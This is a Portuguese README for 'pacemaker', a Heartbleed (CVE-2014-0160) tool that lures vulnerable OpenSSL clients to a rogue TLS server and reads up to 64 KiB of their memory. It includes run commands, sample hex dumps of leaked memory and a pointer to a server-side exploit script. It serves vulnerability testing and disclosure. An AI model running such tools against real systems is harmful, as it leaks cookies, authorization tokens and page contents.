
Exploit de cliente Heartbleed (CVE-2014-0160)
Tenta explorar clientes OpenSSL vulneráveis ao Heartbleed (CVE-2014-0160). Compatível com Python 2 e 3.
Execute o servidor:
python pacemaker.py
No seu cliente, abra https://localhost:4433/ (substitua o hostname se necessário). Por exemplo:
curl https://localhost:4433/
O cliente sempre falhará ao conectar:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
Se você não for vulnerável, o servidor exibirá algo como:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
Se você for vulnerável, verá algo como:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
As linhas subsequentes cheias de bytes NUL são condensadas em uma única com um * a partir daí
(como a ferramenta xxd).
Um exemplo em que memória mais "interessante" é vazada usando
wget -O /dev/null https://google.com https://localhost:4433:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
Os heartbeats TLS podem ser enviados por qualquer um dos lados de uma conexão TLS. Após a conclusão do handshake, esses heartbeats são criptografados. Mas aparentemente o OpenSSL permite mensagens de heartbeat antes de o handshake ser concluído. Esses heartbeats (sobre a camada de registro) não são criptografados de forma alguma!
Isso torna muito fácil explorar a falha em clientes:
Observe que não há necessidade de certificados, pois os heartbeats são aceitos antes de qualquer certificado ou chaves de criptografia serem trocados. Como o comprimento das requisições de heartbeat não é verificado, até 64 kiB de memória podem ser lidos da memória do cliente.
O pacemaker executa as etapas acima e considera um cliente como não vulnerável se a etapa 3 resultar em dados diferentes de Alertas. Se necessário para alguns protocolos (SMTP com STARTTLS, por exemplo), dados adicionais são trocados antes de o handshake TLS começar.
Execute ./pacemaker.py -h para mais opções. As opções mais importantes são
provavelmente -t (--timeout) e -x (--count). O timeout padrão é de 3
segundos, o que deve ser suficiente para a maioria dos clientes responderem (a menos que haja
um link via satélite ou algo assim).
Exemplo para ser mais paciente por heartbeat (5 segundos) e obter quatro respostas de heartbeat:
./pacemaker.py -t 5 -x 4
Na teoria, os heartbeats agora podem levar vinte segundos, mas na prática você obterá respostas muito mais rápido.
Os seguintes clientes foram testados com OpenSSL 1.0.1f no Arch Linux e vazaram memória antes do handshake:
O links é um ótimo exemplo que demonstra o efeito dessa falha em clientes. Ele é um navegador baseado em texto que vaza detalhes, incluindo cabeçalhos (cookies, tokens de autorização) e conteúdos de páginas.
O pacemaker é licenciado sob a licença MIT. Consulte o arquivo LICENSE para mais detalhes.
Esta é uma implementação que utiliza o pacemaker para criar pacotes. Ela tem a ressalva de que requisições repetidas precisam estabelecer uma nova conexão para cada tentativa, pois o servidor reinicia imediatamente a conexão após a primeira resposta de heartbeat.
A ressalva é uma limitação resultante da abordagem adotada; se o handshake também fosse concluído pelo cliente, muitos handshakes criptografados poderiam ser enviados sem falhas de conexão.
O heartbleed.py faz parte do pacemaker, portanto está sob os mesmos termos de licença.
Os seguintes servidores foram testados com OpenSSL 1.0.1f no Arch Linux (salvo indicação em contrário):
openssl s_server (HTTPS)Este repositório também contém uma versão funcional que tem como alvo servidores. O ssltest.py foi criado por Jared Stafford ([email protected]), todos os créditos devidos são a ele! Foi obtido de http://s3.jspenguin.org/ssltest.py.
No momento, o script é compatível apenas com Python 2.